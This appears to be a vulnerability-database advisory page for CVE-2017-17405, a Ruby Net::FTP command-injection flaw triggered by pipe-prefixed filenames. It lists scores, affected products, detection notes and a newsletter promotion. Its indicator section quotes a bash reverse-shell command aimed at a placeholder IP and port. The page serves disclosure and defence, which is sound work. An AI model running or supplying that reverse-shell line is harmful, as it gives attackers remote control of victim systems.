cbcvebase.
CVE-2017-17405
published 2017-12-15

CVE-2017-17405: Ruby before 2.4.3 allows Net::FTP command injection. Net::FTP#get, getbinaryfile, gettextfile, put, putbinaryfile, and puttextfile use Kernel#open to open a…

PriorityP272high8.8CVSS 3.0
AVNACLPRNUIRSUCHIHAH
EXPLOIT
EPSS
73.83%
99.4th percentile
Ruby before 2.4.3 allows Net::FTP command injection. Net::FTP#get, getbinaryfile, gettextfile, put, putbinaryfile, and puttextfile use Kernel#open to open a local file. If the localfile argument starts with the "|" pipe character, the command following the pipe character is executed. The default value of localfile is File.basename(remotefile), so malicious FTP servers could cause arbitrary command execution.

Affected

40 ranges· showing 25
VendorProductVersion rangeFixed in
applemacos_high_sierra_10.13.6_security_update_2018-004_sierra_security_update_2018-0
applemacos_mojave_10.14.1_security_update_2018-002_high_sierra_security_update_2018-0
debiandebian_linux
debiandebian_linux
debiandebian_linux
redhatenterprise_linux_desktop
redhatenterprise_linux_server
redhatenterprise_linux_server_aus
redhatenterprise_linux_server_aus
redhatenterprise_linux_server_eus
redhatenterprise_linux_server_eus
redhatenterprise_linux_server_eus
redhatenterprise_linux_server_tus
redhatenterprise_linux_server_tus
redhatenterprise_linux_workstation
ruby-langruby
ruby-langruby>= 0 < 2.4.3-r02.4.3-r0
ruby-langruby>= 0 < 2.4.3-r02.4.3-r0
ruby-langruby>= 0 < 2.4.3-r02.4.3-r0
ruby-langruby>= 0 < 2.4.3-r02.4.3-r0
ruby-langruby>= 0 < 2.4.3-r02.4.3-r0
ruby-langruby>= 0 < 2.4.3-r02.4.3-r0
ruby-langruby>= 0 < 2.4.3-r02.4.3-r0
ruby-langruby>= 0 < 2.4.3-r02.4.3-r0
ruby-langruby>= 0 < 2.4.3-r02.4.3-r0

Detection & IOCsextracted from sources · hover to see the quote

command|bash -c 'bash -i >& /dev/tcp/1.2.3.4/5678 0>&1'
  • The exploit triggers when a filename/localfile argument passed to Net::FTP methods (get, getbinaryfile, gettextfile, put, putbinaryfile, puttextfile) begins with the '|' pipe character, causing Kernel#open to execute the trailing string as a shell command.
  • A malicious FTP server can set the remote filename to a pipe-prefixed command string; since the default localfile value is File.basename(remotefile), no explicit localfile argument is needed from the victim — monitor FTP LIST/NLST responses for filenames beginning with '|'.
  • Detection opportunity: inspect FTP server responses (directory listings) for entries whose filenames start with '|'; any such filename retrieved by a Ruby Net::FTP client will be executed as a shell command.
  • ·The vulnerability only affects Ruby versions before 2.4.3; systems running Ruby 2.4.3 or later are not vulnerable.

CVSS provenance

nvdv3.08.8HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
osv8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.